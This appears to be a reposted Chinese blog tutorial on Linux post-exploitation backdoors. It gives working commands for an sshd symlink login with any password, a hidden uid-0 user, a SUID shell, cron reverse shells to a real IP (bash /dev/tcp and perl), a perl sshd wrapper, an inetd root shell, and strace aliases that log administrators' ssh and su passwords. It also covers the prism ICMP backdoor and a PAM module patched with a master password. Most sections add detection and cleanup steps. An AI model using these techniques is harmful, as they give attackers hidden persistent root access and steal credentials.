zoukankan      html  css  js  c++  java
  • linux后门

    ssh软连接

    #只有root用户才可以这种方法
    
    #拿到root权限后执行
    ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;
    
    #任意密码连接5555端口
    ssh root@106.13.124.93:5555
    ssh root@106.13.124.93 -p 5555
    

    Snipaste_2019-12-24_16-52-32.png

    检测:查看可疑进程
    # ps aux
    
    清除后门:
    结束进程即可,
    # kill -s 9 PID
    

    Snipaste_2019-12-24_17-16-34.png

    添加用户

    root权限
    一句话添加用户
    useradd guest;echo 'guest:123456'|chpasswd
    
    #vi /etc/passwd
    最后一行改为(要修改,不要新加一行):
    guest:x:0:1002:::/bin/bash
    
    这样可以用guest-123456用户来登陆了,而且是root权限
    

    Snipaste_2019-12-24_20-52-12.png

    修改/etc/sudoers文件

    新建普通用户,修改sudoers文件
    

    Snipaste_2019-12-24_21-07-00.png

    Snipaste_2019-12-24_21-09-56.png

    解决:手动编辑文件
    # visudo
    

    suid后门

    root权限下:
    # chmod 4755 /bin/dash
    
    这里注意一下不能是/bin/bash,因为Linux某种机制原因没有root权限。
    
    普通用户下 执行:
    # /bin/dash
    就能获得root权限了
    
    检测:
    # find / -perm -u=s -type f 2>/dev/null
    # find / -user root -perm -4000 -exec ls -ldb {} ;
    # find / -user root -perm -4000 -print 2>/dev/null
    
    解决:取消s权限,例如
    # chmod u-s /usr/sbin/find
    

    crontab反弹shell后门

    当 /bin/sh指向/bin/dash的时候,反弹shell用bash的话必须得这样弹:
    * * * * * root bash -c "bash -i  >&/dev/tcp/106.13.124.93/2333 0>&1"
    这句话的意思是,这种方法仍然适合/bin/bash指向/bin/bash的主机
    
    ubuntu中,不能指定用户名
    * * * * *  bash -c "bash -i  >&/dev/tcp/106.13.124.93/2333 0>&1"
    
    
    
    或者有权限改变/bin/sh的连接指向/bin/bash后:
    ln -s -f /bin/bash /bin/sh
    反弹shell可以用最常见的办法: 
    * * * * * /bin/bash -i >& /dev/tcp/ip(vps)/7999 0>&1
    
    如果不用bash:
    */1 * * * * root perl -e 'use Socket;$i="106.13.124.93";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    
    其他的反弹shell方法自己探索吧
    
    解决:
    # crontab -e
    或者直接进目录查看文件(此目录为ubuntu,其他系统存在不同)
    # ls -al /var/spool/cron/crontabs/
    

    Snipaste_2019-12-25_09-54-16.png

    ssh免密登录

    A:106.13.124.93
    B:101.132.104.215
    现在B想配置免密登录连接A
    
    B:
    # ssh-keygen -b 4096 -t rsa
    连着三次回车默认就行了,在/root/.ssh/目录下生成了两个文件,id_rsa和id_rsa.pub文件。 
    # cat /root/.ssh/id_rsa.pub
    全部复制文件内容
    
    A:
    # vi /root/.ssh/authorized_keys  
    id_rsa.pub内容粘贴到文件里面(如果原来存在内容就另起一行粘贴)
    # chmod 600 /root/.ssh/authorized_keys
    # chmod 700 /root/.ssh
    
    B:
    # ssh -i /root/.ssh/id_rsa root@106.13.124.93
    

    Snipaste_2019-12-24_23-35-10.png

    解决:
    一般情况下,我们是不会去禁用免密登录的(实质上为用私钥登陆)。
    所以我们只好手动查看/root/.ssh/authorized_keys文件
    

    ssh wrapper后门

    受害者主机:
    # cd /usr/sbin
    # mv sshd ../bin
    # echo '#!/usr/bin/perl' >sshd
    # echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
    # echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
    # chmod u+x sshd
    # /etc/init.d/sshd restart(在我的测试环境上是/etc/init.d/ssh restart,可以进入目录直接查看,目的是让ssh服务重启)
    
    攻击者主机:
    # socat STDIO TCP4:106.13.124.93:22,sourceport=13377
    

    Snipaste_2019-12-25_08-52-36.png

    检测:
    # ls -al /usr/sbin/sshd
    # cat /usr/sbin/sshd
    
    解决:
    # rm -rf /usr/sbin/sshd
    # mv /usr/bin/sshd /usr/sbin;
    # /etc/init.d/ssh restart
    或者直接重装ssh服务
    

    inetd

    受害者主机:
    # vi /etc/inetd.conf
    添加内容
    daytime stream tcp nowait root /bin/bash bash -i
    重启
    # service inetd restart
    

    Snipaste_2019-12-25_10-16-17.png

    攻击者:
    # nc -vv 106.13.124.93(受害者ip) 13
    

    Snipaste_2019-12-25_10-14-33.png

    检测:手动查看/etc/inetd.conf文件
    
    消除后门:
    修改配置文件,关闭inetd
    关闭inetd后,bash的连接仍然存在,需要手动杀死进程
    # kill -s 9 14264
    

    Snipaste_2019-12-25_10-41-05.png

    strace后门

    攻击者:
    已经拿到了主机的权限,在主机的管理员用ssh命令时候,记录下密码到/tmp/.ssh.log下面
    # vi /root/.bashrc
    加入内容
    alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
    更新配置文件
    # source /root/.bashrc
    

    Snipaste_2019-12-25_12-29-21.png

    管理员的受害过程:
    管理员不知道有后门,他在这台主机上连接另外一台主机
    # ssh zzz@101.132.104.215
    输入密码登陆成功后,/tmp/.ssh.log便记录下了zzz的密码和相关主机的ip
    

    Snipaste_2019-12-25_12-15-47.png

    也可配置全局的文件,我们一开始只是给root用户配置上了
    # vi /etc/bash.bashrc
    生效
    # source /etc/bash.bashrc
    现在每个用户su的时候密码都会被记录了
    
    su,sudo同样的道理
    alias su='strace -o /tmp/.su.log -e read,write,connect -s 2048 su'
    

    Snipaste_2019-12-25_12-40-38.png

    检测:
    # alias
    
    消除:
    修改配置,并且souce命令使其生效
    

    协议后门

    一般来说,主机的防火墙拦截外部来的流量到达内部某个端口,但是在一些访问严格被控制的电脑也会被限制你从内部访问外部。
    

    icmp

    使用情况:主机从内到外的服务也被仅用了很多,但是icmp没有被禁用(一般很少禁用ping命令)
    工具:https://github.com/andreafabrizi/prism

    icmp模式:
    
    条件:双方能够ping通就行,建议先检查一下这个
    
    
    
    1.受害机:192.168.3.135
    # vi prism.c
    设置主要有三点
    define REVERSE_HOST     "192.168.3.200"(攻击主机)
    define REVERSE_PORT     2333 (攻击主机监听的端口)
    define ICMP_KEY         "1234"(密码)
    
    编译
    # gcc  -DDETACH -DNORENAME -Wall -s -o prism prism.c
    
    运行
    # ./prism
    
    2.攻击机192.168.3.200
    监听端口2333
    # nc -lvp 2333
    
    3.攻击机
    # ./sendPacket.py 192.168.3.135 1234 192.168.3.200 2333
    
    4.攻击机收到shell
    

    Snipaste_2019-12-25_20-59-14.png

    static模式
    
    1.攻击机101.132.104.215
    # nc -lvp 9876
    
    2.受害机:106.13.124.93
    # vi prism.c(编辑内容同上)
    # gcc -DSTATIC -DDETACH -DNORENAME -Wall -s -o prism prism.c
    # ./prism
    
    3.攻击机收到shell
    
    清除
    
    1.重启即可失效
    
    2.把名字prism的进程全部结束
    # ps -ef|grep "./prism"|grep -v grep|awk '{print $2}'|xargs kill -9
    3.关闭可疑的/bin/sh或者/bin/bash进程(断开已连接的shell)
    2.3必须配合使用
    

    Snipaste_2019-12-25_16-00-15.png

    PAM后门

    环境:百度云 ubuntu16.04 64位
    
    查看pam版本:
    # dpkg -l | grep pam
    我的版本是1.18
    
    下载未编译过的PAM:https://src.fedoraproject.org/repo/pkgs/pam/
    # cd /root (下边的指令都是基于root目录)
    # wget https://src.fedoraproject.org/repo/pkgs/pam/Linux-PAM-1.1.8.tar.bz2/35b6091af95981b1b2cd60d813b5e4ee/Linux-PAM-1.1.8.tar.bz2
    
    解压:
    # tar xjf Linux-PAM-1.1.8
    
    编辑后门:
    # /root/Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c
    找到这一句:
    retval = _unix_verify_password(pamh, name, p, ctrl);
    修改为:
    if (strcmp(p, "123456") != 0) {
               retval = _unix_verify_password(pamh, name, p, ctrl);
             } else {
               retval = PAM_SUCCESS;
             }
    123456为后门密码
    

    Snipaste_2019-12-25_22-11-54.png

    编译:
    # cd /root/Linux-PAM-1.1.8
    # ./configure
    # make
    
    替换文件:
    # cp  /root/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/securitypam_unix.so
    
    验证:
    用xshell root-123456登陆成功
    
  • 相关阅读:
    Flip Game
    Python中apply用法学习【转载】
    Py-lamda表达式学习【转载】
    Py中的多维数组ndarray学习【转载】
    超几何分布与应用【转载】
    Fisher精确检验【转载】
    置换检验(Permutation Test)学习[转载]
    BGD-py实现学习【1】[转载]
    R实现的最小二乘lsfit函数学习
    对生信与计算生物的一点认识[转载]
  • 原文地址:https://www.cnblogs.com/zaqzzz/p/12099463.html
Copyright © 2011-2022 走看看